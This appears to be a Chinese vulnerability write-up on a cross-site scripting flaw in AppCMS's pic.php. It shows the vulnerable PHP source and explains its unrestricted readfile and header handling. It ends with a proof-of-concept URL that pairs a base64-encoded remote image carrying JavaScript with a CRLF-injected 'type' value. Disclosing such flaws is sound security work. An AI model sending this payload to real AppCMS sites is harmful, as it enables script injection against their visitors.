AppCMS pic.php XSS 漏洞

pic.php:

 1: <?php
 2: if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
 3:     $img_url=trim($_GET['url']);
 4:     $img_url = base64_decode($img_url);
 5:     $img_url=strtolower(trim($img_url));
 6:     $_GET['type']=strtolower(trim($_GET['type']));
 7: 
 8:     $urls=explode('.',$img_url);
 9:     if(count($urls)<=1) die('image type forbidden 0');
10:     $file_type=$urls[count($urls)-1];
11: 
12:     if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
13: 
14:     if(strstr($img_url,'php')) die('image type forbidden 2');
15: 
16:     if(strstr($img_url,chr(0)))die('image type forbidden 3');
17:     if(strlen($img_url)>256)die('url too length forbidden 4');
18: 
19:     header("Content-Type: image/{$_GET['type']}");
20:     readfile($img_url);
21: 
22: } else {
23:     die('image not find!');
24: }
25: ?>

先说 $img_url 变量,可以由 $_GET['url'] 控制,但是只能引用图片,因为 12 行限制了的。

代码第 20 行直接读出文件内容,然后返回。由于没有限制路径,我们可以直接读 App 所在的主机任意图片文件,并且 readfile 还支持 HTTP 等协议,所以可以读取远程文件。

其实我要说的是 header 函数,老版本的 PHP 可以直接注入 %0d%0a,新版本的 PHP 如果注入 %0d%0a,PHP 会报错,并把文件内容原封不动返回给浏览器,所以只要引用一张带有 JS 代码、后缀为图片的文件,就可以 XSS 了:

http://xxx/pic.php?url=aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc=&type=jpg%0D%0A11

其中 aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc 是一张远程图片地址。